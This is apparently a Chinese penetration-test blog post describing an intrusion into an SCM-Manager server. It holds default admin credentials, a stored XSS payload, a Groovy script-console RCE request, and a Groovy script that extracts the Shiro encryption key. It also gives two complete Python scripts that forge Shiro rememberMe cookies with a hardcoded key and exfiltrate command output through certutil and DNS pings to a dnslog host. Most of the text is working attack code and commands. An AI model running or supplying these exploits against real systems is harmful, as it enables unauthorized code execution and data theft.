前文
shiro反序列化失败,然后没思路,就想着不死磕shiro了,从别的思路先来
弱口令
是个scm-manager系统,经典弱口令:scmadmin:scmadmin

存储型xss
http://ip/scm/#repositoryPanel
1
| <img src=x onerror=console.log(123)>
|
水报告,想着多弄一个,添加代码库那边测的

后台rce
脚本控制台直接一把梭了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /scm/api/rest/plugins/script HTTP/1.1 Host: X-Requested-With: XMLHttpRequest Accept: */* Referer: /scm/index.html Cookie: JSESSIONID=49yf5siplceo124fte79hvufj X-SCM-Client: WUI Content-Type: application/x-groovy Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Origin: Accept-Language: zh-CN,zh;q=0.9 Content-Length: 68
def cmd = ["cmd", "/c", "whoami"].execute() cmd.waitFor() throw new Exception(cmd.in.text)
|

到这里我就开始想看看shiro失败到底啥原因了,java版本问题还是依赖问题啥的,然后就执行个探测的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| def out = new StringBuilder() out.append("============= 基础环境 =============\n") out.append("OS: " + System.getProperty("os.name") + "\n") out.append("User: " + System.getProperty("user.name") + "\n") out.append("Java: " + System.getProperty("java.version") + "\n")
out.append("\n============= 依赖库探测 =============\n") def checks = [ "Commons-Collections 3": "org.apache.commons.collections.functors.InvokerTransformer", "Commons-Collections 4": "org.apache.commons.collections4.functors.InvokerTransformer", "Commons-Beanutils": "org.apache.commons.beanutils.BeanComparator", "Shiro Core": "org.apache.shiro.SecurityUtils" ]
checks.each { name, clsName -> try { def cls = Class.forName(clsName) def loc = cls.getProtectionDomain().getCodeSource().getLocation().toString() out.append("[+] FOUND ${name}: ${loc}\n") } catch (Throwable e) { out.append("[-] MISSING ${name}\n") } }
out.append("\n============= Shiro Key 探测 =============\n") try { def sm = org.apache.shiro.SecurityUtils.getSecurityManager() if (sm != null) { out.append("SecurityManager: " + sm.getClass().getName() + "\n") try { def rmm = sm.getRememberMeManager() out.append("RememberMeManager: " + rmm.getClass().getName() + "\n") def field = rmm.getClass().getSuperclass().getDeclaredField("decryptionCipherKey") field.setAccessible(true) def key = field.get(rmm) if (key != null) { out.append(">>> KEY FOUND: " + org.apache.shiro.codec.Base64.encodeToString(key) + "\n") } else { out.append("Key is null (可能未配置或默认)\n") } } catch (Throwable ex) { out.append("反射获取 Key 失败: " + ex.toString() + "\n") } } else { out.append("无法通过 SecurityUtils 获取 SecurityManager (可能当前线程未绑定)\n") } } catch (Throwable e) { out.append("Key 探测异常: " + e.toString() + "\n") }
throw new Exception(out.toString())
|
平平无奇可以说是,没啥限制啊

之后就是拷打ai说,可以是对于payload长度有限制,要用jrmp绕过,但是直接用ysoserial会失败是因为,当 ysoserial 生成 Payload 时,它使用Runtime.getRuntime().exec(String command)来执行命令。 问题在于 :Java 的Runtime.exec(String)会根据空格简单粗暴地把命令切分成数组,所以之前考虑过是命令错了的问题,但是换了依旧失败
ai是这么说,你的命令会被切成:
- cmd (程序)
- /c (参数1)
- for (参数2)
- /f (参数3)
- %i (参数4)
- in (参数5)
- (‘whoami’) (参数6)
…
在 Windows 的 cmd 中, for 是一个 内部关键字 ,不是一个可执行程序(如 ping.exe )。
当 cmd /c 后面的一长串被 Java 切碎后传给系统 API 时,Windows 往往无法正确理解这是一个完整的语句,尤其是包含 for 循环、单引号、括号这种复杂结构时,经常会因为参数解析错误而执行失败。
PS:当然最主要原因是系统命令错了
shiro反序列化成功
直接yso打
1
| java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsBeanutils1 "ping test.a1e6uw.dnslog.cn"
|

然后shiroexp里面连接一下

收到记录,但是外带数据比较难了,复杂命令会失败

然后就下来就是拷打ai写脚本,实现传递给 ysoserial 的参数是一个完整的字符串(实际是不知道失败原因的时候就拷打了,好在是打成功了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| import subprocess import base64 import os import time import threading from Crypto.Cipher import AES
import sys import argparse
DEFAULT_IP = "127.0.0.1" PORT = 9999 DNSLOG = "mzuckrlxyd.yutu.eu.org"
def get_whoami_certutil_cmd(dnslog): temp_file = "w" cmd = f"cmd /c whoami > {temp_file}.t & certutil -encode {temp_file}.t {temp_file}.b & for /f \"skip=1\" %i in ({temp_file}.b) do ping -n 1 %i.{dnslog}" return cmd
CMD = get_whoami_certutil_cmd(DNSLOG)
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
def parse_args(): parser = argparse.ArgumentParser(description='Shiro JRMP Attack Script') parser.add_argument('-i', '--ip', default=DEFAULT_IP, help='Attacker IP (LHOST) - 攻击机IP,VPS请填公网IP') parser.add_argument('-p', '--port', default=PORT, type=int, help='Attacker Port (LPORT) - 监听端口') parser.add_argument('-c', '--cmd', default=CMD, help='Command to execute - 要执行的命令') parser.add_argument('--listener-only', action='store_true', help='Only start listener (no cookie generation)') return parser.parse_args()
def start_listener(ip, port, command): print(f"[*] [Listener] 正在启动 JRMP 监听器 ({ip}:{port})...") print(f"[*] [Listener] 托管 Payload: CommonsBeanutils1 -> {command}") cmd = [ "java", "-cp", "ysoserial-all.jar", "ysoserial.exploit.JRMPListener", str(port), "CommonsBeanutils1", command ] try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print("[*] [Listener] 服务已启动,等待连接...") proc.wait() except Exception as e: print(f"[-] [Listener] 启动失败: {e}")
def aes_encrypt(payload): iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_CBC, iv) pad_len = 16 - (len(payload) % 16) payload += bytes([pad_len] * pad_len) encrypted = cipher.encrypt(payload) return base64.b64encode(iv + encrypted).decode()
def generate_cookie(ip, port): print(f"[*] [Client] 正在生成引导 Payload (JRMPClient -> {ip}:{port})...") cmd = [ "java", "-jar", "ysoserial-all.jar", "JRMPClient", f"{ip}:{port}" ] try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) raw_payload, err = proc.communicate() if proc.returncode != 0: print(f"[-] 生成失败: {err}") return None print(f"[*] [Client] 原始 Payload 大小: {len(raw_payload)} bytes (非常小!)") cookie = aes_encrypt(raw_payload) return cookie except Exception as e: print(f"[-] 错误: {e}") return None
if __name__ == "__main__": args = parse_args() if args.listener_only: start_listener(args.ip, args.port, args.cmd) else: t = threading.Thread(target=start_listener, args=(args.ip, args.port, args.cmd)) t.daemon = True t.start() time.sleep(2) cookie = generate_cookie(args.ip, args.port) if cookie: print("\n" + "="*60) print("攻击准备就绪!") print("请复制下面的 Cookie 值,并在浏览器/BurpSuite 中发送给目标:") print("="*60) print(f"rememberMe={cookie}") print("="*60) print(f"\n[*] 保持脚本运行中,等待目标连接 (按 Ctrl+C 停止)...") print(f"[*] 如果目标连接成功,你应该会在 DNSLog ({DNSLOG}) 看到记录") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] 停止服务")
|

后续尝试用yso反弹shell失败,然后用脚本尝试,改进了一下,探测powershell环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| import subprocess import base64 import os import time import threading from Crypto.Cipher import AES
import sys import argparse
DEFAULT_IP = "127.0.0.1" PORT = 9999 DNSLOG = "mzuckrlxyd.yutu.eu.org"
def get_whoami_certutil_cmd(dnslog): temp_file = "w" cmd = f"cmd /c whoami > {temp_file}.t & certutil -encode {temp_file}.t {temp_file}.b & for /f \"skip=1\" %i in ({temp_file}.b) do ping -n 1 %i.{dnslog}" return cmd
CMD = get_whoami_certutil_cmd(DNSLOG)
KEY = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
def parse_args(): parser = argparse.ArgumentParser(description='Shiro JRMP Attack Script') parser.add_argument('-i', '--ip', default=DEFAULT_IP, help='Attacker IP (LHOST) - 攻击机IP,VPS请填公网IP') parser.add_argument('-p', '--port', default=PORT, type=int, help='Attacker Port (LPORT) - 监听端口') parser.add_argument('-c', '--cmd', default=CMD, help='Command to execute - 要执行的命令') parser.add_argument('--check', action='store_true', help='Check for PowerShell availability - 探测PowerShell环境') parser.add_argument('--listener-only', action='store_true', help='Only start listener (no cookie generation)') return parser.parse_args()
def get_check_payload(dnslog): return f"cmd /c powershell -c \"ping -n 1 ps-exist.{dnslog}\""
def start_listener(ip, port, command): print(f"[*] [Listener] 正在启动 JRMP 监听器 ({ip}:{port})...") print(f"[*] [Listener] 托管 Payload: CommonsBeanutils1 -> {command}") cmd = [ "java", "-cp", "ysoserial-all.jar", "ysoserial.exploit.JRMPListener", str(port), "CommonsBeanutils1", command ] try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print("[*] [Listener] 服务已启动,等待连接...") proc.wait() except Exception as e: print(f"[-] [Listener] 启动失败: {e}")
def aes_encrypt(payload): iv = os.urandom(16) cipher = AES.new(KEY, AES.MODE_CBC, iv) pad_len = 16 - (len(payload) % 16) payload += bytes([pad_len] * pad_len) encrypted = cipher.encrypt(payload) return base64.b64encode(iv + encrypted).decode()
def generate_cookie(ip, port): print(f"[*] [Client] 正在生成引导 Payload (JRMPClient -> {ip}:{port})...") cmd = [ "java", "-jar", "ysoserial-all.jar", "JRMPClient", f"{ip}:{port}" ] try: proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE) raw_payload, err = proc.communicate() if proc.returncode != 0: print(f"[-] 生成失败: {err}") return None print(f"[*] [Client] 原始 Payload 大小: {len(raw_payload)} bytes (非常小!)") cookie = aes_encrypt(raw_payload) return cookie except Exception as e: print(f"[-] 错误: {e}") return None
if __name__ == "__main__": args = parse_args() if args.check: print(f"[*] 模式: 探测 PowerShell 环境") args.cmd = get_check_payload(DNSLOG) print(f"[*] Payload: {args.cmd}")
if args.listener_only: start_listener(args.ip, args.port, args.cmd) else: t = threading.Thread(target=start_listener, args=(args.ip, args.port, args.cmd)) t.daemon = True t.start() time.sleep(2) cookie = generate_cookie(args.ip, args.port) if cookie: print("\n" + "="*60) print("攻击准备就绪!") print("请复制下面的 Cookie 值,并在浏览器/BurpSuite 中发送给目标:") print("="*60) print(f"rememberMe={cookie}") print("="*60) print(f"\n[*] 保持脚本运行中,等待目标连接 (按 Ctrl+C 停止)...") print(f"[*] 如果目标连接成功,你应该会在 DNSLog ({DNSLOG}) 看到记录") try: while True: time.sleep(1) except KeyboardInterrupt: print("\n[*] 停止服务")
|
显示存在

继续改脚本用powershell反弹shell,依旧失败,不懂是不是被拦了,先尝试任意命令外带